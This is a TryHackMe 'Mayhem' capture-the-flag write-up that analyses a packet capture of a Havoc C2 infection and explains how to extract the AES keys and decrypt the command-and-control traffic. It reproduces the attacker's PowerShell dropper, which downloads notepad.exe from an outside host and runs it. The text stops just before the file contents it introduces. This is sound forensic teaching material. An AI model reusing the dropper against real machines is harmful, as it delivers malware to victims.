TryHackMe: Mayhem Write-up

Objective:

Challenge Link: Mayhem

Find the flag inside a PCAP file

View the Conversations

There are 6 TCP streams; we will view all of them and search for interesting findings.

Stream 0 && 1

Both streams, the source 10.0.2.38 established a TCP handshake, but closed the connection immediately without sending any payloads.

Stream-2

The client 10.0.2.38 sends a PowerShell script request to download a file called install.ps1 from a web server running on port 1337 at 10.0.2.37.

install.ps1

$aysXS8Hlhf = "<http://10.0.2.37:1337/notepad.exe>";
$LA4rJgSPpx = "C:\\Users\\paco\\Downloads\\notepad.exe";
Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;
$65lmAtnzW8 = New-Object System.Net.WebClient;
$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);
Start-Process -Filepath $LA4rJgSPpx

The PowerShell scripts download notepad.exe from 10.0.2.37:1337, and save it to the Downloads folder in the paco user, then execute the file immediately with Start-Process. Now let’s look in the stream 3 to see if the notepad.exe actually delivered.

Stream-3

The PowerShell script from stream 2 successfully fetched and downloaded a binary executable (notepad.exe) over HTTP from a custom Python server. The server replied with the binary file. To export the binary, go to File > Export Objects > HTTP, search for notepad.exe, and save it.

file notepad.bin
notepad.bin: PE32+ executable for MS Windows 5.02 (GUI), x86-64 (stripped to external PDB), 6 sections
md5sum notepad.bin
a13daa35fd7b873f87379a94b97168e2  notepad.bin

This confirms that the binary (notepad.exe) is a Trojan malware. Upon reading the community comments, this looks like an open-source post-exploitation framework → HavocFramework.

Stream-5

Stream 4 was the same as stream 3 since the request for the binary was made twice.

In stream 5, this is Command and Control (C2) and exfiltration traffic generated by the Trojan binary.

Obtaining the encryption keys from packet capture

Referred to this article -> havoc-c2-framework-a-defensive-operators-guide, it shows how to detect and find the encryption keys and how to decrypt the traffic

In the Obtaining the encryption keys from packet capture section of the article, it states that we need to search for the magic value, which is 0xDEADBEEF. From there, we will be able to find the agent ID, agent length, IV key, and AES key, which will aid us in the decryption process.

In the article, it also noted: “The encryption keys appear to be sent in the first non-check-in HTTP POST request from the agent to the teamserver”. Based on that, I filtered the packet for the hex values dead beef, searched for the first HTTP POST that dead beef in it, and I found it on frame number 182.

Copy the frame as a hex stream, then start extracting the encryption keys.

0800270f20780800271dca5a08004500013fc02e4000800600000a0002260a000225e003005033964057b39a416650182014197c000000000113deadbeef0e9fb7d80000006300000000946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca8cd00c3e349290565aaa5a8c3aacd430340cd2bc567802a30e1c2722bb2135dbfe9b76cc0f486e975aaf1f21a6ad13f9ef282131470a0191c974b4f5c2369005227811dcfb9708192e358fe9dfbf4214760291da15237a0f2e5db5b1e718d48ef01af5e724767c95a1b5c136cc744d75edcb1747847d1b6a22df5a23531442b73329c2b2ae46e1ab2506f548bd1b706892c6d4b8c66c206b0a668752ef7203b3e7627cb2fa5677998779347a00d75cadc5e60d67f78e4cbe1318e8d738475d774ae18dbb6ee25e0a3c3255dfe2b0fc3e220e87fd3a5c7bba8ed1df272387b57fd836f0

• before deadbeef, count 4 bytes -> agent length.
• after the deadbeef, skip two bytes, and take the next two bytes -> Agent ID
• after agent id, skip 8 bytes, and take the next 32 bytes -> AES KEY
• after AES KEY, count the next 16 bytes -> IV key
• as for the mode, it was identified from the AesCrypt.h -> CTR

Encryption Keys:

AES KEY: 946cf2f65ac2d2b868328a18dedcc296cc40fa28fab41a0c34dcc010984410ca
IV key: 8cd00c3e349290565aaa5a8c3aacd430
Mood: CTR

Decrypting traffic

Copy the rest of the data after the IV key and paste it in CyberChef to test the decryption.

To decrypt the remaining packets, we need to examine each HTTP packet individually. However, there appears to be a pattern:

• The client’s packet consistently has a length of 74 bytes.
• The server’s response consistently has a length of 182 bytes.

These values repeat multiple times, and upon inspection, the contents appear to be empty or do not contain any meaningful data.

Based on that, we will look for the frames that have a length other than 74 and 182. Starting from frame length of 111, copy the data as a hex stream and paste it into CyberChef. If it didn’t return readable data, that means it’s not starting at a clean offset; we need to skip some header bytes.

Moving to the next frame, which has a length of 5835, copy it as a hex stream and paste it in CyberChef. If the data isn’t readable, even with the 24-byte set to drop, we need to drop more bytes. Next, look for the deadbeef header and remove it from the beginning of the hex. Repeat this process with the rest of the packets

packet length of 237, it worked just by setting the 24-byte drop.

The attacker added an account to the local administrators group to gain persistence.

He was also able to find an important file in the target’s desktop folder.

This is whats inside the client.csv file: